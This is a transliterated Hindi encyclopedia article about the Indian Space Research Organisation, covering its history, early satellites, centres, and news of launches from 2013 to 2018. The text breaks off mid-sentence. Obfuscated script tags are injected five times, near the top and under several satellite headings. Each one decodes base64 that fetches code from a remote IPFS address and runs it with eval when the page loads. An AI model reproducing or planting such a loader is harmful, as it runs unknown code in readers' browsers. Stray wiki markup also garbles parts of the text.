भारतीय अंतरिक्ष अनुसंधान संगठन

भारत डिस्कवरी प्रस्तुति
(Redirected from इसरो)
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy aantariksh anusandhan sangathan
uddeshy vibhinn rashtriy karyoan ke lie aantariksh praudyogiki aur usake upayogoan ka vikas
sthapana 1969
sansthapak bharat sarakar
mukhyalay baiangalor
sanbandhit lekh aantariksh yan, pramochan yan, aryabhat, bhash‍kar, rohini, eppal, pieselavi, jieselavi, bharatiy aantariksh anusandhan sangathan ke adhyaksh
any janakari bharatiy aantariksh karyakram ki khas visheshata aantariksh mean jane vale anh‍y deshoan, aantararashtriy sangathanoan aur vikasashil deshoan ke sath prabhavi sahayog hai.
bahari k diyaan adhikarik vebasait

bharatiy aantariksh anusandhan sangathan (aangrezi: Indian Space Research Organisation, sankshep mean 'isaro') bharat ka rashtriy aantariksh sansthan hai jisaka mukhyalay karnatak prant ki rajadhani bangaluroo mean hai. sansthan mean lagabhag 17,000 karmachari evan vaijnanik karyarat haian. sansthan ka mukhy kary bharat ke liye aantariksh sanbadhi takanik upalabdh karavana hai. antariksh karyakram ke mukhy uddeshyoan mean upagrahoan, pramochak yanoan, parijnapi raketoan aur bhoo-pranaliyoan ka vikas shamil hai.

sh‍thapana

bharatiy aantariksh anusandhan sangathan ki sh‍thapana 1969 mean ki gee. bharat sarakar dvara 1972 mean 'aantariksh ayog' aur 'aantariksh vibhag' ke gathan se aantariksh shodh gatividhiyoan ko atirikh‍t gati praph‍t huee. 'isaro' ko aantariksh vibhag ke niyantran mean rakha gaya. bharatiy aantariksh karyakram ke itihas mean 70 ka dashak prayogath‍mak yug tha jis dauran 'aryabhat', 'bhash‍kar', 'rohini' tatha 'eppal' jaise prayogath‍mak upagrah karyakram chalae ge. in karyakramoan ki saphalata ke bad 80 ka dashak sanchalanath‍mak yug bana jabaki 'inset' tatha 'aeeares' jaise upagrah karyakram shuroo hue. aj inset tatha aeeares isaro ke pramukh karyakram haian. aantariksh yan ke sh‍vadesh mean hi prakshepan ke lie bharat ka mazaboot prakshepan yan karyakram hai. yah ab itana paripakh‍v ho gaya hai ki prakshepan ki sevaean anh‍y deshoan ko bhi upalabh‍dh karata hai. isaro ki vh‍yavasayik shakha eantrikh‍s, bharatiy aantariksh sevaoan ka vipanan vishh‍v bhar mean karati hai. bharatiy aantariksh karyakram ki khas visheshata aantariksh mean jane vale anh‍y deshoan, aantararashtriy sangathanoan aur vikasashil deshoan ke sath prabhavi sahayog hai.

uddeshy

  • isaro ka uddeshy hai, vibhinn rashtriy karyoan ke lie aantariksh praudyogiki aur usake upayogoan ka vikas.
  • isaro ne do pramukh aantariksh pranaliyaan sthapit ki haian-
  1. sanchar, dooradarshan prasaran aur mausam vijnaniy sevaoan ke lie insait
  2. aur sansadhan m aaunitaran tatha prabandhan ke lie bharatiy sudoor sanvedan upagrah (aeeares).
  • isaro ne insait aur aeeares upagrahoan ko apekshit kaksha mean sthapit karane ke lie pieselavi aur jieselavi, do upagrah pramochan yan vikasit kie haian.
  • tadanusar, bharatiy aantariksh anusandhan sangathan (isaro) ne do pramukh upagrah pranaliyaan, yatha sanchar sevaoan ke lie bharatiy rashtriy upagrah (insait) aur prakritik sanpada prabandhan ke lie bharatiy sudoor sanvedan (aeeares) ka, sath hi, aeeares prakar ke upagrahoan ke pramochan ke lie dhruviy upagrah pramochan yan (pieselavi) aur insait prakar ke upagrahoan ke pramochan ke lie bhoosthir upagrah pramochan yan (jieselavi) ka saphalatapoorvak prachalanikaran kiya hai.[1]

mahattvapoorn prayogik parikshan[2]

[[chitr:A.P.J. Abdul Kalam teaching at ISRO, 1980.jpg|thumb|300px|d aau. abdul kalam isaro ke vaijnanikoan ko padhate hue, sanh 1980]]

saeet

upagrah shaikshanik dooradarshan parikshan (saeet) ek mas kamyunikeshan ya jan sanchar parikshan tha. isake aantargat desh ke chhah rajyoan ke 2500 gaanvoan mean amariki upagrah e ti es-6 ke istemal se shiksha, svasthy, parivar niyojan adi vishayoan par gramin logoan ko telivijan karyakramoan ke madhyam se jagaruk banaya gaya. yah parikshan 1 julaee 1975 se 31 julaee 1976 tak chala.

step parikshan

1977-79 mean upagrah doorasanchar parikshan pariyojana ke dauran fraans aur jarmani ke upagrah simphoni ka prayog kiya gaya. isake madhyam se sanchar ke kshetr ke kee mahattvapoorn parikshan poore kie ge. step parikshan ne ghareloo doorasanchar ke lie ek bhoo sthir upagrah tantr ke prachalan ka mauqa diya. isase bhoo inphrastrakchar ke dijain mean madad mili.

eppal

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isaka poora nam eriyan paiseanjar pelod eksaperimeant tha. yah bharat mean nirmit pahala sanchar upagrah tha. yah prayogik sanchar upagrah tha, jisamean keval si-baiand traansapaandar the. isaki l aaunchiang 19 joon 1981 ko yooropiy aantariksh sanstha ke eriyan raket se ki gee. yah ek belanakar upagrah tha. isaka vajan 350 kilogram tha. is upagrah ke istemal se telivijan karyakramoan ke preshan aur rediyo netavarkiang jaise sanchar parikshan kie ge.

aryabhat upagrah

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ka pahala upagrah tha. isaka namakaran bharat ke prachin ganitajn aryabhat ke nam par kiya gaya. ise 19 aprॅl 1975 ko roos ke l aaunchiang steshan kapoostin yar se l aaunch kiya gaya. is upagrah ka nirman eks re khagoliki vayugatiki aur saur bhautiki par parikshan karane ke lie kiya gaya tha.

bhaskar upagrah

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy aantariksh karyakram ke tahat bhaskar-1 aur bhaskar-2 ka nirman kiya gaya. ye desh ke pahale nimn bhoo kaksha prekshan upagrah the. donoan upagrahoan ko roos ke l aaunchiang steshan kapoostin yar se chho da gaya. inhean kramash: 7 joon 1979 aur 20 navanbar 1981 ko chho da gaya tha. donoan upagrahoan ne samudr vijnan, jal vijnan adi se ju de kee aank de ikatthe kie.

rohini upagrah

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah ek upagrah shrriankhala ka nam hai. isaki l aaunchiang isaro ne hi ki thi. rohini pratham ka istemal l aaunchiang yan eselavi-3 ke nishpadan ke mapan ke lie kiya gaya tha. rohini-2 aur rohini-3 upagrahoan mean laiand mark sanvedak nitabhar lagae ge the.

isaro ke pramukh keandr[2]

  • jodhapur- pashchimi araresesasi
  • udayapur- saur vedhashala
  • bhopal- inasait mukhy niyantran suvidha
  • ahamadabad- aantariksh upayog keandr, bhautik anusandhan prayogashala, vikas aur shaikshik sanchar yoonit
  • baiangalor- aantariksh ayog, aantariksh vibhag, isaro mukhyalay, inaset karyakram karyalay, sivil ianjiniyariang prabhag, aantariksh karaporeshan, isaro upagrah keandr, drav nodan pranali keandr, istairak, dakshini araresesasi, enenaremes sachivalay
  • hasan- inasait mukhy niyantran suvidha
  • aluva- amoniyam prakloret prayogik sanyantr
  • tiruvanantapuram- vikram sarabhaee aantariksh keandr, drav nodan pranali keandr, isaro j datviy pranali keandr
  • deharadoon- bharatiy sudoor sanvedan sansthan, uttari araresesasi
  • nee dilli- aantariksh vibhag shakha sachivalay, isaro shakha karyalay, dilli prithvi steshan
  • lakhanoo- istraik bhoo-keandr
  • kh dagapur- poorvi araresesasi
  • nagapur- madhy araresesasi
  • haidarabad- rashtriy sudoor sanvedan ejeansi
  • tirupati- enemesati radar suvidha
  • shriharikota- satish dhavan aantariksh keandr, shar keandr
  • maheandragiri- drav nodan jaanch suvidha keandr

bharatiy aantariksh karyakram ke praneta[2]

pramukh upalabh‍dhiyaan

  • varsh 2005-06 mean bharatiy aantariksh karyakram ki sabase pramukh upalabh‍dhi 'pieselavisi 6' ka saphal prakshepan rahi hai.
  • 5 mee, 2005 ko 'polar upagrah prakshepan yan' (pieselavi-ephasi 6) ki nauvian u dan ne shriharikota ke satish dhavan aantariksh keandr (esadiesasi) se saphalatapoorvak do upagrahoan - 1560 ki.gra. ke kartosh‍tar-1 tatha 42 ki.gra. ke hemaset ko poorv-nirdharit polar san sinh‍kronan arbit (eseso) mean pahuanchaya. lagatar satavian prakshepan saphalata ke bad pieselavi-si 6 ki saphalata ne pieselavi ki vishh‍vasaniyata ko age badhaya tatha 600 ki.mi. ooanche polar eseso mean 1600 ki.gra. bhar tak ke nitabhar ko rakhane ki kshamata ko darshaya hai.
  • 22 disanbar, 2005 ko inset-4e ka saphal prakshepan, jo ki bharat dvara ab tak banae ge sabhi upagrahoan mean sabase bhari tatha shakh‍tishali hai, varsh 2005-06 ki anh‍y b di upalabh‍dhi thi. inset-4e dararekh‍t-too-hom (ditiech) telivijan prasaran sevaean pradan karane mean saksham hai.
  • isake atirikh‍t, nau gramin sansadhan keandroan (viarasij) ke doosare samooh ki sh‍thapana karana aantariksh vibhag ki varsh ke dauran mahath‍vapoorn maujooda pahal hai. viarasi ki dharana gramin samudayoan ki badalati tatha mahath‍vapoorn avashh‍yakataoan ko poora karane ke lie aantariksh vh‍yavash‍thaoan tatha anh‍y aeeti aujaroan se nikalane vali vibhinh‍n prakar ki janakari pradan karane ke lie sanchar sadhanoan tatha bhoomi avalokan upagrahoan ki kshamataoan ko sanghatit karati hai.

samachar

thumb|jisait 6-A saitelait

isaro ne l aaunch kiya jiset-6A saitelait

29 march, 2018 guruvar

bharat ka damadar sanchar saitalait jisait 6-A shriharikota ke aantariksh prakshepan keandr se 29 march, 2018 ko saphalatapoorvak aantariksh ki kaksha mean sthapit kar diya. yah bharatiy aantariksh anusandhan sangathan (isaro) aur bharatiy senaoan ko sashakt banane ki disha mean ek aur mil ka patthar sabit hoga. pradhanamantri nareandr modi ne isaro ki is saphal l aaunchiang ke lie use badhaee bhi di hai. is setelait ka vajan 2,140 kilogram hai. yah shriharikota ke sekand steshan se l aaunch kiya gaya aur 17 minat mean apani kaksha mean pravesh kar lega. is setelait ki sabase b di khasiyat malti bim kavarej suvidha hai. isake jariye bharat ko netavark mainejameant takanik mean madad milegi. yahi nahian, isamean es-baiand kamyunikeshan liank ke lie 6 mitar vyas ka ek eantina bhi hai. prakshepan yan jiesalavi ki 12vian u dan hai. r aauket ki lanbaee 49.1 mitar hai. bharat saitelait ke jarie iantaranet ki duniya mean nee kraanti lane ki taiyari kar raha hai. jisait-6e saitelait usi k di ka ek hissa hai. isaro is samay desh ka sabase vajani kamyunikeshan saitelait jisait-11 par kam kar raha hai. isaka vajan 5.6 tan hai. halaanki, bharat ke pas char tan se jyada vajani saitelait bhejane ki kshamata rakhane vale r aauket nahian haian. bharat ise sauth ameriki ailaiand phreanch guyana se eriyan-5 r aauket ke jarie l aaunch karega. saitelait ki kamayab l aaunchiang se bharat ke pas khud ka saitelait besd iantaranet hoga. saitelait besd iantaranet se haee spid kanektiviti badh jaegi.

samachar ko vibhinn srotoan par padhean

isaro ne l aaunch kiya 100vaan upagrah, ek sath bheje 31 saitelaits

[[chitr:PSLV-C40 Cartosat-2.jpg|thumb|pieselavi-si 40 kartosait-2]]

12 janavari, 2018 shukravar

bharatiy aantariksh evan anusandhan sangathan (isaro) ne 12 janavari, 2018 ko satish dhavan aantariksh keandr se dhruviy upagrah prakshepan yan pieselavi-40 si ke jariye prithvi avalokan upagrah kartosait-2 sahit 31 upagrahoan ka saphal prakshepan kiya. isaro ne bataya ki pieselavi-si40 ne kartosait-2 shrriankhala upagrah ko soory sthaitik kaksha mean saphalatapoorvak sthapit kar diya gaya hai. pieselavi-si40 r aauket ka poorv nirdharit karyakram ke anusar subah 9:28 par aantariksh keandr se prakshepan kiya gaya jo badaloan se bhare asaman ko chirata hua apane gantavy ki or badh gaya. 31 agast, 2017 ko isi tarah ke raket se nauvahan upagrah aee.ar.en.es.es.1-ech laanch kiya gaya tha, lekin hit shild n khulane ki vajah se saitelait raket ke chauthe charan mean asaphal ho gaya tha. pieselavi-si40 varsh 2018 ki pahali aantariksh saphal pariyojana hai. saitelait kendr nideshak em. annaduree ne bataya ki maikro upagrah aantariksh mean bharat ka 100vaan upagrah hai. aantariksh vaijnanik aur ianjiniyaroan ne guruvar ko raket ke nichale, madhy aur oopari hisse ki tel ki tanki mean dravy aur thos eeandhan guruvar ko hi bharana shuroo kar diya tha. bata dean ki 15 pharavari 2017 ko ek sath 104 upagrahoan ko aantariksh mean bhejakar ISRO ne aisa itihas likha tha, jise ab tak koee dohara nahian saka hai.

is r aauket ke jarie kartosait-2 ke sath 28 aantarrashtriy sah-yatri upagrahoan mean se 19 amerika, paanch dakshin koriya aur ek-ek kanada, phraans, briten aur phinalaiand ke haian. isake sath hi do any bharatiy upagrah-paanch kilo vajani naino aantariksh yan aur lagabhag 100 kilo vajani sookshm upagrah shamil haian. sabhi 31 upagrahoan ka vajah 1323 kilogram hai. isaro ne itihas rachate hue apana 100vaan saitelait l aaunch kar diya hai. pieselavi shrriankhala ke saitelait ka nam kartosait-2, hai. is saitalain ko 'aee in d skai' ke nam se bhi jana ja raha hai, kyoanki ye atanriksh se tasvirean lene ke lie hi banaya gaya hai. khas bat hai ki ye pakistan sthit atanki thikanoan par paini najar banae rakhega. saitelait ki saphal l aaunchiang par pradhanamantri narendr modi ne isaro ko badhaee di hai. pradhanamantri ne is ne sal ka tohapha karar dete hue kaha ki takaniki mean ye badalav desh ke nagarikoan, kisanoan aur machhuaroan ki madad mean sahayogi degi. bharatiy aantariksh anusandhan sangathan (isaro) ne shriharikota se pieselavi-si 40 ke sath ek sath 31 upagrah aantariksh mean bheje haian. bharat ke lie ye bahut b di upalabdhi hai kyoanki pichhale sal agast mean pieselavi-si 39 ka mishan phel ho gaya tha. isake bad prakshepan yan pieselavi ko phir se taiyar kiya gaya. koee r aauket phel ho jae to use marammat karake dobara naya jaisa banakar laanchiang paid par utarana bahut b di bat hai. ye bharat ka 'varkah aaurs r aauket' hai jisake phel hone se bharat ki dikkatean bahut badh jati haian.

samachar ko vibhinn srotoan par padhean

isaro ne saphalatapoorvak l aaunh‍ch kiya sauth eshiya saitelait

thumb|jieselavi-eph09

5 mee, 2017 shukravar

karib 450 karo d ki lagat se bane upagrah (jisait-9) ko 5 mee, 2017 ko bharatiy aantariksh anusandhan sansthan (ISRO) ne l aaunch kiya. isase upagrah se sark deshoan ke bich sanpark ko badhava milega lekin pakistan isase bahar hai. isaka upagrah ko chennee se karib 135 kilomitar door shriharikota sthit satish dhavan aantariksh keandr se l aaunch kiya gaya. pradhanamantri nareandr modi ne kaha, dakshin eshiyaee upagrah ka saphal prakshepan aitihasik kshan, isase sanbandhoan ke ne ayam ki shuruat hogi. jisait-9 ko bharat ki or se usake dakshin eshiyaee p dosi deshoan ke lie upahar mana ja raha hai. is upagrah ko isaro ka r aauket jieselavi-eph09 lekar jaega. isaro ke adhyaksh e.es kiran kumar ne guruvar ko bataya tha ki isase ath sark deshoan mean se sat bharat, shrilanka, bhootan, afaganistan, baangladesh, nepal aur maladiv pariyojana ka hissa haian. pakistan ne yah kahate hue isase bahar rahane ka phaisala kiya ki usaka apana aantariksh karyakram hai. baangladesh ki piem shekh hasina ne kaha, ' is l aaunch se hamare apasi rishte majaboot hoange. isase logoan ko apas mean jo da ja sakega. laiand, v aautar aur spes mean hamara apasi sahayog badhega.' bhootan ke piem sheriang tobage ne kaha, 'dakshin eshiya upagrah l aaunch aitihasik pal hai. yah duniya ke itihas mean ek b di upalabdhi hai. bharat ko isake lie badhaee. apasi sahayog ke lie yah b da kadam hai. saitalait best sanchar ab zaroori ho gaya hai. hamare kshetr ke lie yah behatar hoga. yah bhootan jaise desh ke lie kafi aham hoga.' maladiv ke rashtrapati yamin abdul gayoom ne kaha, 'dakshin eshiya mean yah 'sabaka sath sabaka vikas' hai. yah saitalait is kshetr ke lie kafi aham hoga. yah piem modi ka shanadar vijan hai. isase kshetr ke janata ke bich sahayog badhega.' nepal ke piem pushp kamal dahal 'prachand' ne is shanadar l aaunchiang ke lie bharat ko badhaee di. unhoanne kaha, 'yah kshetr ke vikas aur telimedisin aur apada prabandhan ke lie behatar hoga. sanchar seva ke lie bhi yah upagrah behatarin hoga.' shrilanka ke rashtrapati em. sirisena ne bhi kaha, 'yah l aaunch sabhi sark deshoan ke lie phayademand hoga. shiksha, paryavaran, mausam anuman ke lie labhadayak hoga. yah kshetr ke logoan ko achchha jivan dega.'

samachar ko vibhinn srotoan par padhean

isaro ne ek sath rikard 104 saitelait l aaunch karake itihas racha

15 faravari, 2017 budhavar

[[chitr:PSLV-c37.jpg|thumb|220PX|pieselavi si-37]] aantariksh mean bharat ne 15 faravari, 2017 budhavar ko ek bahut b di kamayabi hasil ki hai. bharatiy aantariksh anusandhan sangathan (isaro) ke prakshepan yan pieselavi ne shriharikota sthit aantariksh kendr se ek ekal mishan mean rikard 104 upagrahoan ka saphalatapoorvak prakshepan kiya. yahaan se qarib 125 kilomitar door shriharikota se ek hi prakshepastr ke jariye rik aaurd 104 upagrahoan ka prakshepan saphalatapoorvak kiya gaya. bharat ne ek r aauket se 104 upagrahoan ko aantariksh mean bhejakar is tarah ka itihas rachane vala pahala desh ban gaya hai. prakshepan ke kuchh der bad pieselavi-si37 ne bharat ke kataresait-2 shrriankhala ke prithvi paryavekshan upagrah aur do any upagrahoan tatha 103 naino upagrahoan ko saphalatapoorvak kaksha mean sthapit kar diya. vahian, pradhanamantri nareandr modi ne is saphal abhiyan ko lekar isaro ko badhaee di hai. unh‍hoanne kaha ki poore desh ke lie yah gaurav ka kshan hai. bharatiy aantariksh ejeansi isaro ke pramukh ees kiran kumar ne kaha ki pradhanamantri nareandr modi ne 104 upagrahoan ke saphal prakshepan par isaro dal ko badhaee di. pradhanamantri ne ek hi r aauket ke jarie 104 upagrahoan ke saphal prakshepan ke lie vaijnanikoan ki sarahana karate hue kaha ki is aham upalabdhi ne bharat ko gauravaanvit kiya hai.

3 svadeshi evan 101 videshi upagrah

prakshepan ke bare mean mahatvapoorn bat yah hai ki itani b di sankhya mean r aauket se upagrahoan ka prakshepan kiya gaya. roosi aantariksh ejeansi ki or se ek bar mean 37 upagrahoan ke saphal prakshepan ki tulana mean bharat ek bar mean 104 upagrah prakshepit karane mean saphalata hasil kar itihas rachane vala pahala desh ban gaya hai. bharat ne isase pahale joon 2015 mean ek bar mean 23 upagrahoan ko prakshepan kiya tha. yah usaka doosara saphal prayas hai. pieselavi pahale 714 kilogram vajani katareset-2 shrriankhala ke upagrah ka prithvi par nigarani ke lie prakshepan karega aur usake bad 103 sahayogi upagrahoan ko prithvi se karib 520 kilomitar door dhruviy san siankronas aaurbit mean pravisht karaega jinaka aantariksh mean kul vajan 664 kilogram hai. in 104 upagrahoan mean bharat ke tin aur videshoan ke 101 saitelait shamil hai. isaro ke vaijnanikoan ne eksel vairiyant ka istemal kiya hai jo sabase shaktishali r aauket hai aur isaka istemal mahatvakaankshi chandrayan mean aur mangal mishan mean kiya ja chuka hai. inamean 96 upagrah amerika ke, paanch kramash: isaro ke aantararashtriy grahakoan- ijarayal, kajakistan, nidaralaiand, svitjaralaiand, sanyukt arab amirat ke haian.

samachar ko vibhinn srotoan par padhean

isaro ne aantariksh mean racha itihas, l aaunch kie 20 upagrah

thumb|250px|pieselavi-C34

budhavar, 22 joon, 2016

bharatiy aantariksh ejeansi isaro ne 22 joon, 2016 ko ek sath 20 upagrahoan ko unaki kakshaoan mean sthapit karake ek naya kirtiman sthapit kiya. isase pahale 2008 mean usane ek sath 10 upagrah l aaunch kie the, jo usaka ab tak ka rek aaurd tha. sankhya ke alava jo ek aur bat is upalabdhi ko khas banati hai, vah hai malti p aauiant dilivari. isase pahale isaro ne jab ekadhik upagrah l aaunch kie to ve ek hi ooanchaee par chho de ge the. yani ve ek-doosare se paryapt doori rakhate hue kamobesh ek jaisi hi aaurabit mean ghoomate the. yah pahala mauka hai jab isaro ne pieselavi-C34 ke jarie upagrahoan ko alag-alag ooanchaee par chho da hai. jo 20 upagrah chho de ge haian unamean 17 kamarshiyal haian.

17 saitelait videshi, tin svadeshi

pieselavi-C34 ki l aaunchiang satish dhavan aantariksh keandr ke doosare l aaunch paid se shriharikota mean ki gee. bharatiy samay ke anusar pieselavi C-34 ki l aaunchiang 22 joon ko subah 9 bajakar 26 minat par ki gee. pieselavi si-34 ke 20 saitelaitoan mean se 17 kamarshiyal saitelait haian. yani 17 saitelait doosare deshoan ke haian jinhean bhejane ke lie isaro ne un deshoan se phis li hai. isake alava do saitelait desh ke do shiksha sansthanoan ke haian. is l aaunchiang mean ek saitelait k aaurtosait 2 sirij ka isaro ka apana hai. in 20 upagrahoan ka kul vazan 1288 kilogram tha, lekin unamean akele kartosait-2 sirij upagrah ka vajan hi 727.5 kilogram hai. yah upagrah desh mean ho rahe vanaspatik ya bhoogarbhiy badalavoan par bariki se nazar rakh sakega. mishan ko khas banane vali ek aur aham bat yah hai ki baki do saitalait chennee ki satyabhama yoonivarsiti aur pune ke k aaulej aauph ianjiniyariang ke chhatroan ne taiyar kie haian.

samachar ko vibhinn srotoan par padhean

thumb|250px|RLV-TD arthath riyoojebal l aaunch viikal- tekn aaulaji dem aaunastretar

somavar, 23 mee, 2016

bharat ki aantariksh mean b di kamayabi, l aaunch kiya svadeshi spes shatal

bharatiy aantariksh shodh sansthan (ISRO) somavar 23 mee, 2016 ko aandhr pradesh ke shriharikota spes seantar se poori tarah se bharat mean bane spes shatal RLV-TD ko l aaunch kiya. ise bharat ka apana khud ka spes shatal hai. ameriki spes shatal jaisa dikhane vala ye shatal philahal prayog ki sthiti mean hai aur apane asali saij se 6 guna chhota hai. vikram sarabhaee spes seantar (VSSC) ke dayarektar ke sivan ke anusar, ‘RLV-TD ka mukhy lakshy prithvi ki kaksha mean upagrah pahuanchana aur phir vayumandal mean dobara pravesh karana hai. shatal ko ek thos r aauket motar se le jaya jaega. nau mitar lanbe r aauket ka vajan 11 tan hai.' is parikshan ke bad isako poori tarah se taiyar hone mean karib das varsh tak ka samay lag jaega. ISRO ke vaijnanikoan ke anusar, yah lagat kam karane, vishvasaniyata kayam rakhane aur maang ke anuroop aantariksh mean pahuanch banane ke lie ek sajha hal hai. yah pahali bar hai, jab isaro ne pankhoan se yukt kisi yan ka prakshepan kiya hai. yah yan bangal ki kha di mean tat se lagabhag 500 kilomitar ki doori par utara. bharat ke pradhanamantri narendr modi ne bhi tvit kar vaijnanikoan ko isake lie badhaee di. pradhanamantri ne kaha bharat ke pahale svadeshi aantariksh shatal RLV-tidi ki l aaunchiang hamare vaijnanikoan ke mehanati prayasoan ka parinam hai. gatishilata aur samarpan ke sath jo hamare vaijnanikoan aur isaro ne pichhale kuchh saloan mean kam kiya hai, vah asadharan aur bahut hi preranadayak hai.

samachar ko vibhinn srotoan par padhean

sabase bhari r aauket jieselavi mark-3 ka saphal prakshepan

[[chitr:GSLV-mk-3.jpg|thumb|250px|jieselavi mark-3 r aauket]]

guruvar, 18 disambar, 2014

'bharatiy aantariksh anusandhan sangathan' (isaro) ne apane ab tak ke sabase bhari r aauket jieselavi-emake 3 ko aandhr pradesh mean shriharikota sthit satish dhavan aantariksh keandr se prakshepit kiya hai. isaro ne isase pahale 24 sitanbar, 2014 ko mangalayan ko saphalatapoorvak usaki kaksha mean sthapit kiya tha. jieselavi-emake3 mean si-25 ianjan lagaya gaya hai. isaki ooanchaee 43.43 mitar hai. is yan ke tin staroan par tin tarah ke eeandhan thos, drav aur krayojanik ka istemal kiya gaya hai. jieselavi-emake3 r aauket ke nirman par kul 140 karo d rupaye ki lagat aee hai. kroo madyool ke nirman par 15 karo d rupaye kharch hue haian. is sabase bhari r aauket ke prakshepan ke sath hi isaro iansan ko aantariksh mean le jane vale 3.65 tan vajani kroo madyool ka parikshan bhi kar raha hai. yah madyool ko r aauket mean lagaya gaya tha. ise pairashoot ke jarie bangal ki kha di mean saphalatapoorvak utara gaya hai. is parikshan ki saphalata ki janakari isaro nideshak ke. radhakrishnan ne di. is mauke par isaro ke poorv nideshak d aau. kastoorirangan bhi mauzood the. jieselavi-emake 3 ke prakshepan ka uddeshy inaset-4 jaise bhari sanchar upagrahoan ke prakshepan mean bharat ko poori tarah atmanirbhar banana hai. is saphalata ke bad bharat inasait-4 shreni ke upagrah prakshepit karane mean saksham ho gaya hai. inasait-4 shreni ke upagrah ka vajan 4500-5000 kilogram tak hota hai. is shreni ke upagrahoan ko aantariksh mean bhejane ke lie bharat ab tak doosare deshoan par nirbhar tha. isase bharat araboan d aaular ke vyavasayik bazar mean bhi apani davedari mazaboot karega aur doosare deshoan ke inasait-4 shreni ke upagrah aantariksh mean bhej paega.

samachar ko vibhinn srotoan par padhean

mangalayan saphal, bharat ne itihas racha

thumb|mangalayan dvara bheji gee mangal grah ki tasvir

24 sitambar, 2014, budhavar

bharatiy aantariksh ejeansi, isaro ka upagrah mangalayan mangal grah ki aandakar kaksha mean saphalatapoorvak pravesh kar chuka hai. ye bharat ke aantariksh shodh mean ek kalajayi ghatana hai. is abhiyan ki kamayabi se bharat aisa desh ban gaya hai jisane ek hi prayas mean apana abhiyan poora kar liya. bharat ne likvid motar ianjan ki takanik se mangalayan ko mangal ki kaksha mean sthapit kiya. amataur par chaand tak pahuanchane ke lie isi takanik ka istemal kiya jata hai. lekin itane lanbe mishan par bharat se pahale kisi ne likvid motar ianjan ka istemal nahian kiya tha. ek or mangal mishan itihas ke pannoan par svayan ko sunahare aksharoan mean darj kara raha tha vahian doosari or yahaan sthit bharatiy aantariksh anusandhan sangathan (isaro) ke kamaand keandr mean aantim pal behad vyakulata bhare the. aantariksh vaijnanikoan ke sath mangal mishan ki saphalata ke sakshi bane bharatiy pradhanamantri narendr modi ne kaha, "vishamataean hamare sath rahian aur mangal ke 51 mishanoan mean se 21 mishan hi saphal hue haian, lekin ham saphal rahe." khushi se phoole nahian sama rahe pradhanamantri ne isaro ke adhyaksh ke. radhakrishnan ki pith thapathapaee aur aantariksh ki yah aham upalabdhi hasil kar itihas rachane ke lie bharatiy aantariksh vaijnanikoan ko badhaee di. bharat ke mangal abhiyan ka nirnayak charan 24 sitanbar ko subah yan ko dhima karane ke sath hi shuroo ho gaya tha. is mishan ki saphalata un 24 minatoan par nirbhar thi, jis dauran yan mean maujood ianjan ko chaloo kiya gaya. mangalayan ki gati dhimi karani thi taki ye mangal ki kaksha mean gurutvakarshan se khud-bakhud khiancha chala jae aur vahaan sthapit ho jae. is aantariksh yan ka prakshepan 5 navanbar, 2013 ko aandhr pradesh ke shriharikota se svadesh nirmit pieselavi r aauket se kiya gaya tha. yah 1 disanbar, 2013 ko prithvi ke gurootvakasharn se bahar nikal gaya tha. ameriki aantariksh sansthan 'nasa' ka mangalayan 'maven' 22 sitanbar ko mangal ki kaksha mean pravisht hua tha. bharat ke em.o.em. ki kul lagat maven ki lagat ka matr dasavaan hissa hai. bharat ne is mishan par qarib 450 karo d rupe kharch kie haian, jo baki deshoan ke abhiyanoan ki tulana mean sabase zyada qifayati hai.

samachar ko vibhinn srotoan par padhean

bharat ka mangalayan prithvi ki kaksha mean pahuancha

thumb|mangalayan (pieselavi si25)

5 navambar, 2013, mangalavar

bharat ne apane pahale mangal grah parikrama abhiyan (emoem) ke lie dhruviy r aauket ko 5 navambar, 2013 ko satish dhavan aantariksh keandr se saphalatapoorvak prakshepit karake itihas rach diya. chandrama par bheje yan ke bad yah bharat ka sabase mahatvakaankshi aantariksh abhiyan hai. poorvi tat ke qarib shriharikota dvip se r aauket ne sidhe akash ki or u dan bhari aur 44 minat bad r aauket se alag ho kar upagrah prithvi ki kaksha mean a gaya. yatra ka pahala charan saphal raha. bharatiy aantariksh anusandhan sangathan (isaro) ne is karyakram ke sidhe prasaran ka bhi iantajam kiya tha jisake jarie bharat ke is aitihasik pal ko lakhoan logoan ne tivi par dekha. bharatiy aantariksh anusandhan sangathan (isaro) ke prakshepan yan pieselavi si25 ka yah aitihasik prakshepan aparahn do bajakar 38 minat par chennee se qarib 100 kilomitar door yahaan spesaport se kiya gaya. isaro ke nideshak d aau. radhakrishh‍nan ne kaha, "mujhe yah batate hue behad khushi ho rahi hai ki yah pieselavi ki 25vian u dan hai. maian samast isaro parivar ko badhaee deta hooan, jinhoanne behad kam vaqt mean yah mumakin kar dikhaya." lagabhag 450 karo d rupaye ke projekt ke tahat bharat ne 